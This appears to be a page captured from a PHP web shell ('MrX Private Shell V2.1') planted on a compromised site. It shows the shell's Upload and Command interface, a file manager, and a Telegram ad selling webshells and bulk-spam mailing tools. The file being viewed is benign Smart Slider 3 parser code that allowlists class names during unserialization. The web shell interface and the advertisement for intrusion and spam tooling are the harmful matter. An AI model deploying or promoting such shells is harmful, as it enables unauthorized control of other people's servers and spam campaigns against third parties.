__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * SerializeParser
 *
 * @copyright Jason Judge
 *
 * @license   http://opensource.org/licenses/MIT MIT
 *
 * @link      https://github.com/academe/SerializeParser/blob/master/src/Parser.php
 *
 * The original code was modified by Nextendweb. We stripped the not relevant parts.
 */

namespace Nextend\SmartSlider3\BackupSlider\Serialize;

use Nextend\Framework\Notification\Notification;

class Parser {

    protected $allowedClassNames = [
        'Nextend\SmartSlider3\BackupSlider\BackupData',
        'Nextend\SmartSlider3\Slider\SliderParams'
    ];

    /**
     * This is the recursive parser.
     */
    protected function doParse(StringReader $string) {

        // May be : or ; as a terminator, depending on what the data
        // type is.

        $type = substr($string->read(2), 0, 1);

        switch ($type) {
            case 'a':
                // Associative array: a:length:{[index][value]...}
                $count = (int)$string->readUntil(':');

                // Eat the opening "{" of the array.
                $string->read(1);

                for ($i = 0; $i < $count; $i++) {
                    $this->doParse($string);//array key
                    $this->doParse($string);//array value
                }

                // Eat "}" terminating the array.
                $string->read(1);

                break;

            case 'O':
                // Object: O:length:"class":length:{[property][value]...}
                $len = (int)$string->readUntil(':');

                // +2 for quotes
                $class = $string->read(2 + $len);

                if (!in_array($class, $this->allowedClassNames)) {
                    Notification::error(sprintf(n2_('The importing failed as the slider export contained an invalid class name: %1$s'), '<br>' . $class));


                    return false;
                }

                // Eat the separator
                $string->read(1);


                // Read the number of properties.
                $len = (int)$string->readUntil(':');

                // Eat "{" holding the properties.
                $string->read(1);

                for ($i = 0; $i < $len; $i++) {
                    $this->doParse($string);//prop key
                    $this->doParse($string);//prop value
                }

                // Eat "}" terminating properties.
                $string->read(1);

                break;

            case 's':
                $len = (int)$string->readUntil(':');
                $string->read($len + 2);

                // Eat the separator
                $string->read(1);
                break;

            case 'i':
                $string->readUntil(';');
                break;

            case 'd':
                $string->readUntil(';');
                break;

            case 'b':
                // Boolean is 0 or 1
                $string->read(2);
                break;

            case 'N':
                break;

            default:
                Notification::error(sprintf(n2_('The importing failed as we are not able to unserialize the type: "%s"'), '<br>' . $type));
                return false;
        }

        return true;
    }

    /**
     * @param $string
     *
     *
     * Checks if the $string contains any Class names which are not allowed by us!
     * This is the initial entry point into the recursive parser.
     *
     * @return bool
     * @throws \Exception
     */
    public function isValidData($string) {
        return $this->doParse(new StringReader($string));
    }
}

Filemanager

Name Type Size Permission Actions
Parser.php File 3.49 KB 0664
StringReader.php File 2.98 KB 0664
Filemanager